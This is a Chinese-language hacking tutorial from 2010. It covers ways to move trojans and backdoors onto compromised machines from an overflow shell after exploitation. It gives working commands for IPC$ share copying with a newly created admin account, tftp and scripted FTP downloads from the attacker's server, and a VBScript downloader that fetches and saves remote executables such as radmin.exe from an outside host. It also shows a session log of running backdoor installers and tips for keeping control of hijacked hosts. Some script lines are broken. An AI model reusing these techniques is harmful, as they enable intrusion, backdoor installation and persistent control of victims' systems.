[粗]溢出下shell下的文件上傳

2010-08-28 10:46:24來源:西部e網(wǎng)作者:

    隨著網(wǎng)上溢出程序的流行經(jīng)常能在BBS和群里看到象我等"快餐黑客"抱怨說溢出之后不知道怎樣傳送自己的木馬,后門到肉雞上。而沒有在肉雞上留下木馬或后門進(jìn)一步控制不能算是完成一次成功的入侵,所以我在此歸納了一下網(wǎng)上流行的溢出shell下傳送文件的方法,希望能夠?qū)側(cè)腴T的新手朋友帶來幫助。

    1.首先要說的是初學(xué)者最愛的IPC$共享傳送方式了,用法很簡(jiǎn)單。先在溢出shell下建立一個(gè)管理員權(quán)限的帳號(hào),然后在本地的CMD下與肉雞進(jìn)行連接,命令如下:

net use \IP\共享目錄(后面要大$) "密碼" /user:"用戶名"
copy c:\file \IP\共享目錄
這里再提供一個(gè)思路,大家有沒有想過其實(shí)我們也可以通過肉雞來入侵我們自己的機(jī)器同樣達(dá)到傳送文件的目的,只是將上傳改為下載。后面的命令改為
copy \你的IP\共享目錄\文件 c:\file


大家可以根據(jù)這個(gè)思路活學(xué)活用。玩過MS03-049的朋友都知道這個(gè)溢出需要139,445端口,所以只要溢出成功就直接將對(duì)方的共享目錄映射到本地,這樣就剩得一條條打命令了,命令如下:

net use z: \IP\共享目錄
如果對(duì)方把默認(rèn)共享關(guān)閉了你可以在溢出shell下用net share命令開啟,另外傳完文件后記得得斷開連接,命令:ne use z:\IP\共享目錄 /del


    2.接著我們說一下很多朋友都用的tftp方式。首先你得擁有一個(gè)公網(wǎng)IP,然后去網(wǎng)上down一個(gè)tftpd32.exe,把它放到你要傳送的文件的目錄里運(yùn)行一下就OK了。在溢出shell下執(zhí)行命令:
tftp -i 你的IP get xx.exe
這樣就完成了文件的傳輸,當(dāng)管理員限制用TFTP傳送文件,一般就是直接封69端口,修改默認(rèn)69端口,TFTPD32.exe等TFTP服務(wù)端
是可以自己設(shè)置端口的,這里就不多講,只不過在設(shè)置后要重新啟動(dòng)一次
TFTP服務(wù)端。至于客戶端


在system32\drivers\etc\文件夾下有一個(gè)services文件。打開如下:
# Copyright ? 1993-1999 Microsoft Corp.
#
# This file contains port numbers for well-known services defined by IANA
#
# Format:
#
# <service name> <port number>/<protocol> [aliases...] [#<comment>]
#


echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users #Active users
systat 11/tcp users #Active users
...
tftp 69/udp #Trivial File Transfer
...
不難看出,69/udp就是定義tftp默認(rèn)端口的,_blank>協(xié)議為udp。具體怎么用只要這兩句,其實(shí)就是比原來多加了一句改端口的:
echo tftp 8300/udp > %systemroot%\system32\drivers\etc\services
tftp -i xxx.xxx.xxx.xxx get srv.exe
注意:請(qǐng)先把tftp服務(wù)端端口設(shè)定為與自定義端口一樣的,這里是8300。
_blank>安全點(diǎn)的做法:
ren %systemroot%\system32\drivers\etc\services 1
echo tftp 8300/udp >2
copy 2+%systemroot%\system32\drivers\etc %systemroot%\system32\drivers\etc\services


當(dāng)然這個(gè)方法也不是每次都成功的,放火墻和管理員的防黑設(shè)置都能讓你的文件傳輸失敗。所以大家千萬別老往一個(gè)死胡同走,有句話說得好,條條道路通羅馬。

    3.下面我們繼續(xù)說FTP方式,玩過溢出的都知道,在溢出shell下用FTP命令登陸_blank>服務(wù)器輸入用戶名后沒等輸入密碼CMD窗口就停頓在那里處于假死狀態(tài)了。。所以大家通常是開啟肉雞的telnet服務(wù),連接上去后Z再登陸FTP_blank>服務(wù)器傳輸文件;蛘呤窃谌怆u上寫腳本,命令如下:
echo ftp>1.txt
echo open xxx.xxx.xxx.xxx>1.txt
echo user>>1.txt
echo pass>>1.txt
echo bin>>1.txt
echo get aoqi.rar>>1.txt
echo bye>>1.txt
ftp -s:1.txt

 完后用ftp -s:1.txt就可以自動(dòng)下載了。


ftp+自定義端口
其實(shí)ftp自定義端口非常簡(jiǎn)單,只要在ip地址后面空格,緊跟自定義的端口就可以了,如下:
echo open xxx.xxx.xxx.xxx 2121 >ftp.txt
echo user >>ftp.txt
echo password >>ftp.txt
echo bin >>ftp.txt [可選]
echo get aoqi.rar>>ftp.txt
echo bye >>ftp.txt


ftp -s:ftp.txt
這里自定義端口為2121,只要和ftp服務(wù)端的端口一致就行拉


現(xiàn)在再說以下怎樣直接在溢出shell下使用FTP傳輸文件而不用腳本完成。居我所知有2種方法:其一是將你的FTP_blank>服務(wù)器設(shè)為匿名訪問,這樣直接用FTP命令登陸到_blank>服務(wù)器就可以下載了。其二是將你的FTP的帳號(hào)密碼設(shè)為空,但這樣設(shè)置的FTP_blank>服務(wù)器有一定危險(xiǎn)性,大家記得把權(quán)限設(shè)為只能下載或者改一下FTP的端口.通過以下命令就可以下載了:
C:\WINNT\system32>ftp
ftp
open xxx.kmip.net
User (danne.kmip.net:(none)): 1
bin
get 2.exe
bye

 C:\WINNT\system32>aoqi.exe //aoqi.exe是自解壓縮包
2.exe

 C:\WINNT\system32>dir 1.bat //1.bat是后門自動(dòng)安裝批處理
dir 1.bat
驅(qū)動(dòng)器 C 中的卷沒有標(biāo)簽。
卷的序列號(hào)是 1001-8227

 C:\WINNT\system32 的目錄

 找不到文件 //這里我不知道為什么解壓出來后第一次找文件總是找不到

 C:\WINNT\system32>dir 2.bat //2.bat是radmin自動(dòng)安裝批處理
dir 2.bat
驅(qū)動(dòng)器 C 中的卷沒有標(biāo)簽。
卷的序列號(hào)是 1001-8227

 C:\WINNT\system32 的目錄

 2004-05-01 13:04 85 2.bat
1 個(gè)文件 85 字節(jié)
0 個(gè)目錄 4,735,807,488 可用字節(jié)

 成功率有99%吧,也是本人我一直用的哦~推薦,只是需要自己架設(shè)一臺(tái)FTP_blank>服務(wù)器出來,可以在你機(jī)器上架,或者肉雞上,我們要充分利用肉雞嘛(另外多說兩句,肉雞要定期維護(hù),勤打補(bǔ)丁,不要被同行搞去了或被管理員發(fā)現(xiàn))~如果你沒有FTP的話我可以提供.


    4.寫程序下載
腳本是非常好的東西,只要把源碼保存到一個(gè)文件中就能運(yùn)行。所以在shell下,用
echo語句直接寫到一個(gè)文件中,在用相應(yīng)的解釋程序執(zhí)行就可以啦。這里是一個(gè)程序
實(shí)例的簡(jiǎn)化:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >iget.vbe
echo xPost.Open "GET"," >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile "radmin.exe",2 >>iget.vbe
然后執(zhí)行cscript 167168.vbs就可以啦.其中,
http://167168.meibu.com/srv.exe改成你放
文件的網(wǎng)站路徑,srv.exe可以改成保存文件的路徑。


    5.start its:http://167168.meibu.com/ca.rar (看清楚,小心論壇自動(dòng)加的標(biāo)簽)
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" (假設(shè)系統(tǒng)裝在c盤,且當(dāng)前環(huán)境是SYSTEM。如果是用戶環(huán)境,修改Default User為該用戶名)
dir /s ca[1].rar
然后會(huì)顯示ca[1].rar的具體位置,比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\ca[1].rar
最后:
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar
del 0QMVC11H\ca[1].rar

 總結(jié)了這5種常規(guī)方法,其實(shí)還有一些非常規(guī)的方法也可以,比如建立好管理員帳號(hào)后用Dame Ware遠(yuǎn)程控制工具遠(yuǎn)程安裝后用它的文件傳送功能等等.這里我就不說了~一般掌握上面5種方法后相信傳送文件不是難題了~另外如果大家還有其他方法也希望告訴小弟,可以到http://167168.kmip.net來找我。

 ############################################################################################iget.vbe 腳本代碼。


Set xPost = CreateObject("Microsoft.XMLHTTP") 
xPost.Open "GET"," 
xPost.Send() 
Set sGet = CreateObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "radmin.exe",2 

iLocal  = LCase(WScript.Arguments(1)) 
iRemote = LCase(WScript.Arguments(0)) 
Set xPost = CreateObject("Microsoft.XMLHTTP") 
xPost.Open "GET",iRemote,0 
xPost.Send() 
Set sGet = CreateObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile iLocal,2 

贊助商鏈接: